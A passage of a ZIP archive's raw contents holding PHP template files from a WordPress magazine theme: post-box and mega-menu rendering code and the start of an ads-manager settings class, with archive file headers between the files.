				<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
            </a>


			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>

            <div class="magcat-detail">
                <div class="mag-header">
                    <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                    </h3>
					<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
					<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                        <div class="grid-post-box-meta mag-meta">
							<?php if ( ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                                <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
										penci_coauthors_posts_links();
									else: ?>
                                        <a class="author-url url fn n"
                                           href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
									<?php endif; ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                                <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                                <span class="featc-comment"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
								echo '<span class="featc-views">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							} ?>
							<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                <span class="featc-readtime"><?php penci_reading_time(); ?></span>
							<?php endif; ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>

        </div>
	<?php } else { ?>
        <div class="magcat-detail">
            <div class="magcat-padding">
                <h3 class="magcat-titlte entry-title magcat-title-small"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
            </div>
        </div>
	<?php } ?>
</div>
PK     0w\deqB  B    modules/penci-render.phpnu [        <?php
/**
 * Content in mega menu
 *
 * @return HTML inner mega menu
 * @since 1.0
 */

use Elementor\Plugin;

if ( ! function_exists( 'penci_html_mega_menu' ) ) {
	add_action( 'wp_ajax_penci_html_mega_menu', 'penci_html_mega_menu' );
	add_action( 'wp_ajax_nopriv_penci_html_mega_menu', 'penci_html_mega_menu' );
	function penci_html_mega_menu() {

		check_ajax_referer( 'penci-load-mega', 'id' );

		$menu     = $_REQUEST['menu'];
		$item     = $_REQUEST['item'];
		$catid    = $_REQUEST['catid'];
		$number   = $_REQUEST['number'];
		$style    = $_REQUEST['style'];
		$position = $_REQUEST['position'];

		$menu         = wp_get_nav_menu_items( $menu );
		$current_item = isset( $menu[ $item ] ) && is_object( $menu[ $item ] ) ? $menu[ $item ] : '';

		$menu_html = penci_return_html_mega_menu( $catid, $number, $style, $position, $menu, $current_item );
		wp_send_json_success( $menu_html );
	}

}

if ( ! function_exists( 'penci_return_html_mega_menu' ) ) {
	function penci_return_html_mega_menu( $catID, $row, $style, $position, $items, $current ) {
		$args               = [
			'parent'       => (int) $catID,
			'orderby'      => 'name',
			'order'        => 'ASC',
			'hide_empty'   => true,
			'hierarchical' => 1,
			'taxonomy'     => 'category',
		];
		$child_categories   = get_terms( $args );
		$all_text           = penci_get_setting( 'penci_trans_all' );
		$list_links         = $list_cats = [];
		$sub_menu_list_html = '';
		$menu_style         = get_theme_mod( 'penci_header_menu_style' );

		$child_items  = is_object( $current ) && isset( $current->ID ) ? penci_menu_childs( $items, $current->ID ) : [];
		$new_list_cat = [];

		if ( ! empty( $child_items ) ) {

			$term_all               = get_term_by( 'id', absint( $catID ), 'category' );
			$all_text               = $term_all->name;
			$list_cats[ $all_text ] = $catID;

			$count = 2;

			foreach ( $child_items as $id => $child_item ) {

				$parent_menu_id = $child_item->menu_item_parent;

				$child_class = $parent_menu_id != $current->ID ? 'pcmnl-ci' : 'pcmnl-ni';

				if ( $child_item->object == 'category' ) {
					$new_list_cat[ $child_item->title ] = $child_item->object_id;
					$sub_menu_list_html                 .= '<a class="' . $child_class . ' mega-cat-child';

					if ( ( $menu_style != 'menu-style-2' && $count == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $count == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_item->object_id == $catID ) ) ) ):
						$sub_menu_list_html .= ' cat-active';
					endif;

					if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_item->object_id == $catID ):
						$sub_menu_list_html .= ' all-style';
					endif;
					$sub_menu_list_html .= '" href="' . esc_url( get_category_link( $child_item->object_id ) ) . '" data-id="penci-mega-' . esc_attr( $child_item->object_id ) . '"><span>' . sanitize_text_field( $child_item->title ) . '</span></a>';
				} else {
					$sub_menu_list_html .= '<a href="' . esc_url( $child_item->url ) . '" title="' . $child_item->title . '" class="' . $child_class . ' mega-normal-child"><span>' . $child_item->title . '</span></a>';
				}

				$count ++;
			}

			$child_categories = [];
		} else {
			$list_cats = [ $all_text => $catID ];
		}

		$mega_title_length = get_theme_mod( 'penci_megamenu_title_length' ) ? get_theme_mod( 'penci_megamenu_title_length' ) : 8;

		if ( ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $menu_style != 'menu-style-2' ) || $menu_style == 'menu-style-2' ) && ! empty( $child_categories ) ):
			$list_cats = [];
		endif;

		if ( ! empty( $child_categories ) ):

			foreach ( $child_categories as $child_cat ) {
				$list_cats[ $child_cat->name ] = $child_cat->term_id;
			}

		endif;

		if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $menu_style == 'menu-style-2' && ! empty( $child_categories ) ):
			$list_cats[ $all_text ] = $catID;
		endif;

		$has_slide = ! empty( $child_categories ) || $sub_menu_list_html != '';

		$new_style = $style == 4 || $style == 5;

		/* Check rows to show number posts */
		if ( ! isset( $row ) || empty( $row ) ): $row = '1';endif;
		$col           = 'col-mn-5 mega-row-1';
		$numbers       = 5;
		$class_content = '';
		if ( $has_slide || $new_style ) {
			$col     = 'col-mn-4 mega-row-1';
			$numbers = 4;
		}

		if ( '2' == $row ) {
			$col     = 'col-mn-5 mega-row-2';
			$numbers = 10;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-4 mega-row-2';
				$numbers = 8;
			}

		} elseif ( '3' == $row ) {
			$col     = 'col-mn-5 mega-row-3';
			$numbers = 15;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-4 mega-row-3';
				$numbers = 12;
			}

		}

		$header_layout    = penci_soledad_get_header_layout();
		$header_container = penci_soledad_get_header_container_width();
		if ( ( in_array( $header_layout, [
					'header-7',
					'header-8',
					'header-9',
				] ) || 'fullwidth' == $header_container ) && ! get_theme_mod( 'penci_body_boxed_layout' ) ) {
			$class_content = ' penci-mega-fullct';
			$col           = 'col-mn-7 mega-row-1';
			$numbers       = 7;
			if ( $has_slide || $new_style ) {
				$col     = 'col-mn-6 mega-row-1';
				$numbers = 6;
			}

			if ( '2' == $row ) {
				$col     = 'col-mn-7 mega-row-2';
				$numbers = 14;
				if ( $has_slide || $new_style ) {
					$col     = 'col-mn-6 mega-row-2';
					$numbers = 12;
				}

			} elseif ( '3' == $row ) {
				$col     = 'col-mn-7 mega-row-3';
				$numbers = 21;
				if ( $has_slide || $new_style ) {
					$col     = 'col-mn-6 mega-row-3';
					$numbers = 18;
				}

			}

		}

		if ( $position == 'side' && $style == 4 && $has_slide ) {
			$numbers = $numbers - (int) $row;
		}

		if ( $style == 5 ) {
			$numbers = $numbers + (int) $row;
		}

		$class_content = ' pcmis-' . $style;

		ob_start();
		?>
		<?php if ( $has_slide ): ?>
            <div class="penci-mega-child-categories pcmit-<?php echo esc_attr( $position ); ?>">
				<?php
				$i = 1;
				foreach ( $list_cats as $child_name => $child_id ):
					echo '<a class="mega-cat-child';
					if ( ( $menu_style != 'menu-style-2' && $i == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $i == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_id == $catID ) ) ) ):
						echo ' cat-active';
					endif;
					if ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $child_id == $catID ):
						echo ' all-style';
					endif;
					echo '" href="' . esc_url( get_category_link( $child_id ) ) . '" data-id="penci-mega-' . esc_attr( $child_id ) . '"><span>' . sanitize_text_field( $child_name ) . '</span></a>';
					$i ++;
				endforeach;
				echo $sub_menu_list_html;
				?>
            </div>
		<?php endif; ?>

        <div class="penci-content-megamenu<?php echo $class_content; ?>">
            <div class="penci-mega-latest-posts                                                <?php echo esc_attr( $col ); ?>">
				<?php $j = 1;
				if ( ! empty( $new_list_cat ) ) {
					$list_cats = array_merge( $list_cats, $new_list_cat );
				}

				foreach ( $list_cats as $cat_name => $cat_id ): ?>
                    <div class="penci-mega-row penci-mega-<?php echo esc_attr( $cat_id ); ?><?php if ( ( $menu_style != 'menu-style-2' && $j == 1 ) || ( $menu_style == 'menu-style-2' && ( ( get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $j == 1 ) || ( ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) && $cat_id == $catID ) ) ) ): echo ' row-active';endif; ?>">
						<?php
						$thumbsize = 'penci-thumb-small';
						if ( '1400' == $header_container ) {
							$thumbsize = 'penci-thumb';
						}

						$customize_data = get_theme_mod( 'penci_mega_featured_image_size' );
						if ( 'square' == $customize_data ) {
							$thumbsize = 'penci-thumb-square';
						} elseif ( 'vertical' == $customize_data ) {
							$thumbsize = 'penci-thumb-vertical';
						}

						if ( $style == 5 ) {
							$thumbsize = 'penci-masonry-thumb';
						}

						if ( $style == 2 || $style == 4 ) {
							$thumbsize = 'penci-thumb-square';
						}

						$attr        = [
							'post_type'   => 'post',
							'showposts'   => $numbers,
							'post_status' => 'publish',
							'tax_query'   => [
								[
									'taxonomy' => 'category',
									'field'    => 'term_id',
									'terms'    => (int) $cat_id,
								],
							],
						];
						$latest_mega = new WP_Query( $attr );
						if ( $latest_mega->have_posts() ):
							while ( $latest_mega->have_posts() ): $latest_mega->the_post();

								$category = get_the_category( get_the_ID() );
								?>
                                <div class="penci-mega-post">
                                    <div class="penci-mega-post-inner">

                                        <div class="penci-mega-thumbnail">
											<?php
											do_action( 'penci_bookmark_post', get_the_ID(), 'small' );

											/* Display Review Piechart  */
											if ( function_exists( 'penci_display_piechart_review_html' ) ) {
												penci_display_piechart_review_html( get_the_ID(), 'small' );
											}

											?>
											<?php if ( ! get_theme_mod( 'penci_topbar_mega_category' ) ): ?>
                                                <span class="mega-cat-name">
												<?php if ( $numbers == 5 || $numbers == 10 || $numbers == 15 ) { ?>
                                                    <a href="<?php echo esc_url( get_category_link( $cat_id ) ); ?>">
														<?php echo sanitize_text_field( get_cat_name( $cat_id ) ); ?>
													</a>
												<?php } else { ?>
													<?php if ( $j == 1 && ! get_theme_mod( 'penci_topbar_mega_hide_alltab' ) ) {
														echo '<a href="' . esc_url( get_category_link( $category[0]->term_id ) ) . '">';
														echo sanitize_text_field( $category[0]->cat_name );
														echo '</a>';
													} else {
														echo '<a href="' . esc_url( get_category_link( $cat_id ) ) . '">';
														echo sanitize_text_field( get_cat_name( $cat_id ) );
														echo '</a>';
													}
													?>
												<?php }
												?>
											</span>
											<?php endif; ?>
                                            <a<?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbsize ), ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?>
                                                    class="<?php echo penci_layout_bg_class( ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?> penci-image-holder"
                                                    href="<?php the_permalink(); ?>"
                                                    title="<?php echo esc_attr( wp_strip_all_tags( get_the_title() ) ); ?>">
												<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbsize ), get_the_title(), ! get_theme_mod( 'penci_topbar_mega_disable_lazy' ) ); ?>
												<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_topbar_mega_icons' ) ): ?>
													<?php if ( has_post_format( 'video' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-play' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-music' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-link' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ): ?>
														<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ): ?>
														<?php penci_fawesome_icon( 'far fa-image' ); ?>
													<?php endif; ?>
												<?php endif; ?>
                                            </a>
                                        </div>
                                        <div class="penci-mega-meta">
                                            <div class="post-mega-title">
                                                <a href="<?php the_permalink(); ?>"
                                                   title="<?php echo esc_attr( wp_strip_all_tags( get_the_title() ) ); ?>"><?php echo sanitize_text_field( wp_trim_words( wp_strip_all_tags( get_the_title() ), $mega_title_length, '...' ) ); ?></a>
                                            </div>
											<?php if ( ! get_theme_mod( 'penci_topbar_mega_date' ) ): ?>
                                                <p class="penci-mega-date"><?php penci_soledad_time_link(); ?></p>
											<?php endif; ?>
                                        </div>
                                    </div>
                                </div>
							<?php endwhile;
							wp_reset_postdata();
						endif;
						?>
                    </div>
					<?php $j ++;endforeach; ?>
            </div>
        </div>

		<?php
		return ob_get_clean();
	}

}

if ( ! function_exists( 'penci_return_html_block_menu' ) ) {
	function penci_return_html_block_menu( $mega_block_id, $menuid ) {

		$css        = $css_out = $content = '';
		$css_prefix = '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu,
		.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu';

		// mega menu style
		$penci_menu_bgimg = get_post_meta( $menuid, 'penci_menu_bgimg', true );
		$penci_menu_mw    = get_post_meta( $menuid, 'penci_menu_mw', true );
		$penci_menu_mh    = get_post_meta( $menuid, 'penci_menu_mh', true );
		$penci_menu_bgcl  = get_post_meta( $menuid, 'penci_menu_bgcl', true );
		$penci_menu_load  = get_post_meta( $menuid, 'penci_menu_load', true );

		if ( $penci_menu_bgimg || $penci_menu_bgcl || $penci_menu_mh || $penci_menu_mw ) {

			if ( $penci_menu_bgimg ) {
				$css .= 'background-image:url(' . esc_url( wp_get_attachment_image_url( $penci_menu_bgimg, 'full' ) ) . ');';
			}

			if ( $penci_menu_bgcl ) {
				$css .= 'background-color:' . $penci_menu_bgcl . ';';
			}

			$css_out .= '<style>';

			if ( $penci_menu_bgimg || $penci_menu_bgcl ) {
				$css_out .= $css_prefix . '{' . $css . '}';
			}

			if ( $penci_menu_mh ) {
				$penci_menu_mh = is_numeric( $penci_menu_mh ) ? $penci_menu_mh . 'px' : $penci_menu_mh;
				$css_out       .= '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu,
							.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-dropdown-menu{min-height:' . $penci_menu_mh . ';}';
			}

			if ( $penci_menu_mw && $penci_menu_mw != 'full' ) {
				$penci_menu_mw = is_numeric( $penci_menu_mw ) ? $penci_menu_mw . 'px' : $penci_menu_mw;

				if ( strpos( $penci_menu_mw, '%' ) !== false ) {
					$penci_menu_mw_percent = ( (int) str_replace( '%', '', $penci_menu_mw ) ) / 100;
					$penci_menu_mw         = 'calc(var(--pcctain) * ' . $penci_menu_mw_percent . ')';
				}

				$css_out .= '#navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-mega-custom-width,.navigation .menu li.penci-mega-menu.penci-block-wrap-mega-' . $menuid . ' .penci-mega-custom-width{width:' . $penci_menu_mw . ';}';
			}

			$css_out .= '</style>';
		}

		$mega_block_id = get_page_by_path( $mega_block_id, OBJECT, 'penci-block' );
		$mega_block_id = isset( $mega_block_id->ID ) && $mega_block_id->ID ? $mega_block_id->ID : '';

		// mega menu content
		if ( $mega_block_id ) {
			$content = '<div data-blockid="' . $mega_block_id . '" class="penci-mega-content-container penci-mega-content-' . $menuid . '">';
			if ( defined( 'ELEMENTOR_VERSION' ) ) {
				wp_enqueue_style( 'elementor-frontend' );
			}

			if ( defined( 'WPB_VC_VERSION' ) ) {
				wp_enqueue_style( 'js_composer_front' );
			}

			do_action( 'soledad_megamenu_loaded' );
			wp_enqueue_script( 'penci_megamenu' );
			if ( 'yes' !== $penci_menu_load ) {

				$mega_block_content = get_post( $mega_block_id );

				if ( $mega_block_content ) {

					if ( did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $mega_block_id )->is_built_with_elementor() ) {
						$content .= penci_get_elementor_content( $mega_block_id );
					} else {
						$content .= do_shortcode( $mega_block_content->post_content );

						$shortcodes_custom_css = get_post_meta( $mega_block_id, '_wpb_shortcodes_custom_css', true );

						$content .= '<style data-type="vc_shortcodes-custom-css">';
						if ( ! empty( $shortcodes_custom_css ) ) {
							$content .= $shortcodes_custom_css;
						}

						$content .= '</style>';
					}

				}

				$content .= '</div>';
			} else {
				if ( did_action( 'elementor/frontend/before_register_scripts' ) ) {
					wp_enqueue_script( 'jquery.plugin' );
					wp_enqueue_script( 'countdown' );
					wp_enqueue_script( 'waypoints' );
					wp_enqueue_script( 'jquery-counterup' );
				}

				if ( defined( 'WPB_VC_VERSION' ) ) {
					wp_enqueue_script( 'wpb_composer_front_js' );
				}

			}

		}

		return $css_out . $content;
	}

}
PK     0w\u      modules/magazine-style-1.phpnu [        <?php
/**
 * Template display for featured category style 1
 *
 * @since 1.0
 */
$post_id = get_the_ID();
?>
<?php if ( $m == 1 ): ?>
<div class="cat-left"><?php endif; ?>
    <div class="mag-post-box hentry<?php if ( $m == 1 ): echo ' first-post'; endif; ?>">
        <div class="magcat-thumb">
			<?php
			$size_pie = 'small';
			if ( $m == 1 ): $size_pie = 'normal'; endif;
			do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
			/* Display Review Piechart  */
			if ( function_exists( 'penci_display_piechart_review_html' ) ) {
				penci_display_piechart_review_html( get_the_ID(), $size_pie );
			}
			?>

                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( $m > 1 ): echo ' small-fix-size'; endif; ?><?php echo penci_class_lightbox_enable(); ?>"
                   href="<?php penci_permalink_fix(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                </a>

			<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_home_featured_cat_icons' ) ): ?>
				<?php if ( has_post_format( 'video' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'audio' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'link' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'quote' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
				<?php endif; ?>
				<?php if ( has_post_format( 'gallery' ) ) : ?>
                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
				<?php endif; ?>
			<?php endif; ?>
        </div>
        <div class="magcat-detail">
			<?php if ( $m == 1 ): ?>
            <div class="mag-header"><?php endif; ?>
                <h3 class="magcat-titlte entry-title"><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_home_cat_readtime' ); ?>
				<?php if ( ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) || ! get_theme_mod( 'penci_home_featured_cat_date' ) || get_theme_mod( 'penci_home_featured_cat_comment' ) || get_theme_mod( 'penci_home_cat_views' ) || penci_isshow_reading_time( $hide_readtime ) ): ?>
                    <div class="grid-post-box-meta mag-meta">
						<?php if ( ( $m == 1 || get_theme_mod( 'penci_home_cat_author_sposts' ) ) && ! get_theme_mod( 'penci_home_featured_cat_author' ) ) : ?>
                            <span class="featc-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
		                            penci_coauthors_posts_links();
	                            else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
	                            <?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_home_featured_cat_date' ) ) : ?>
                            <span class="featc-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_featured_cat_comment' ) ) : ?>
                            <span class="featc-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_home_cat_views' ) ) {
							echo '<span class="featc-views">';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						} ?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="featc-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
				<?php if ( $m == 1 ): ?></div><?php endif; ?>
			<?php if ( $m == 1 && get_the_excerpt() && ! get_theme_mod( 'penci_home_featured_cat_remove_excerpt' ) ): ?>
                <div class="mag-excerpt entry-content">
					<?php 
					if( get_theme_mod( 'penci_excerptcharac' ) ){
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>
			<?php penci_soledad_meta_schema(); ?>
        </div>
    </div>
	<?php if ( $m == 1 ): ?></div>
<div class="cat-right"><?php endif; ?>
	<?php if ( $m == $numers_results ): ?></div><?php endif; ?>
PK     0w\?}L&=  &=    ad_settings.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_Ad_Settings' ) ) :
	class Penci_Ad_Settings {

		static $list_panel = array(
			'header'         => 'Header',
			'homepage'       => 'Homepage',
			'featuredslider' => 'Featured Slider',
			'archive'        => 'Archive Pages',
			'single'         => 'Single Posts',
			'fltad'    		 => 'Float Banner Left/Right',
			'footer'         => 'Footer',
		);

		public function __construct() {
			add_filter( 'mb_settings_pages', array( $this, 'settings_pages' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'header_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'homepage_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'featured_slider_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'single_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'archive_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'footer_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'floatads_option' ) );
			add_action( 'init', array( $this, 'mobile_ads' ) );
		}

		function settings_pages( $settings_pages ) {
			$list_social_media = self::$list_panel;
			$theme_slug        = get_option( 'stylesheet' );

			$settings_pages[] = array(
				'id'          => 'penci_ad_settings',
				'option_name' => 'theme_mods_' . $theme_slug,
				'menu_title'  => 'Ads Manager',
				'parent'      => 'soledad_dashboard_welcome',
				'style'       => 'no-boxes',
				'tab_style'   => 'left',
				'class'       => 'penci_ad_settings',
				'columns'     => 1,
				'tabs'        => $list_social_media,
			);

			return $settings_pages;
		}

		function header_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'header',
				'title'          => 'Header Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'header',

				'fields' => array(
					array(
						'id'                => 'penci_header_3_adsense',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Google adsense/custom HTML code to display in header 3', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
					),
					array(
						'id'   => 'penci_header_3_banner',
						'type' => 'file_input',
						'name' => esc_html__( 'Banner Header Right For Header 3', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'   => 'penci_header_3_banner_url',
						'type' => 'url',
						'name' => esc_html__( 'Link To Go When Click on Banner of Header 3 ', 'soledad' ),
						'std'  => '',
					),
					array(
						'id'                => 'penci_custom_code_inside_head_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code Inside <head> tag', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
					),
					array(
						'id'                => 'penci_custom_code_after_body_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code After <body> tag', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
						'mobile'            => true,
					),
					array(
						'id'                => 'penci_custom_code_after_header_tag',
						'type'              => 'textarea',
						'name'              => esc_html__( 'Add Custom Code After Header Wrap', 'soledad' ),
						'std'               => '',
						'sanitize_callback' => 'none',
						'mobile'            => true,
					),
				),
			);

			return $meta_boxes;
		}

		function homepage_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'homepage',
				'title'          => 'Homepage Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'homepage',

				'fields' => array(
					array(
						'id'   => 'penci_homepage_desc',
						'type' => 'custom_html',
						'std'  => __( 'The options here just apply when you use Customizer to set up the homepage - check more all ways to set up the homepage <a href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>', 'soledad' ),
					),
					array(
						'id'   => 'penci_infeedads_home_num',
						'type' => 'number',
						'name' => esc_html__( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
						'std'  => '3',
					),
					array(
						'id'                => 'penci_infeedads_home_code',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
						'name'              => esc_html__( 'In-feed Ads Code/HTML', 'soledad' ),
						'desc'              => esc_html__( 'Please use normal responsive ads here to get the best results - the in-feed ads can\'t work with auto-ads because auto-ads will randomly place your ads on random places on the pages.', 'soledad' ),
					),
					array(
						'id'      => 'penci_infeedads_home_layout',
						'type'    => 'select',
						'name'    => esc_html__( 'In-feed Ads Layout Type', 'soledad' ),
						'options' => array(
							''     => esc_html__( 'Follow Current Layout', 'soledad' ),
							'full' => esc_html__( 'Full Width', 'soledad' ),
						),
					),
				),
			);

			return $meta_boxes;
		}

		function featured_slider_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'featuredslider',
				'title'          => 'Featured Slider Ads',
				'settings_pages' => 'penci_ad_settings',
				'tab'            => 'featuredslider',

				'fields' => array(
					array(
						'id'   => 'penci_featureslider_desc',
						'type' => 'custom_html',
						'std'  => __( 'The options here just apply when you use Customizer to set up the homepage - check more all ways to set up the homepage <a href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>', 'soledad' ),
					),
					array(
						'id'                => 'penci_home_adsense_below_slider',
						'type'              => 'textarea',
						'sanitize_callback' => 'none',
						'mobile'            => true,
